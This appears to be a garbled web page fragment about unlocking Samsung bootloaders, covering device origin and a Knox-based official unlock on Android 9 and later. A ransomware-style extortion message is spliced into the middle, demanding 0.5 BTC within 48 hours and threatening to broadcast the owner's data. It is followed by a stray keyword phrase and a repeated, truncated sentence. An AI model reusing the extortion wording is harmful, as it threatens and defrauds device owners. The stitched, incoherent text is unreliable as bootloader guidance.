Before you begin, you must identify your device's origin. The ability to unlock the bootloader is largely determined by the market for which the phone was manufactured:
"Your device is no longer under Samsung's protection. To restore functionality, pay 0.5 BTC to this wallet within 48 hours. Otherwise, your phone will broadcast all unencrypted data from the past 30 days to your contacts, employer, and local authorities." samsung bootloader unlocking
Some Samsung devices, especially those running Android 9.0 (Pie) or later, have an official bootloader unlock mechanism. This method is only available for Knox-enabled devices. Before you begin, you must identify your device's origin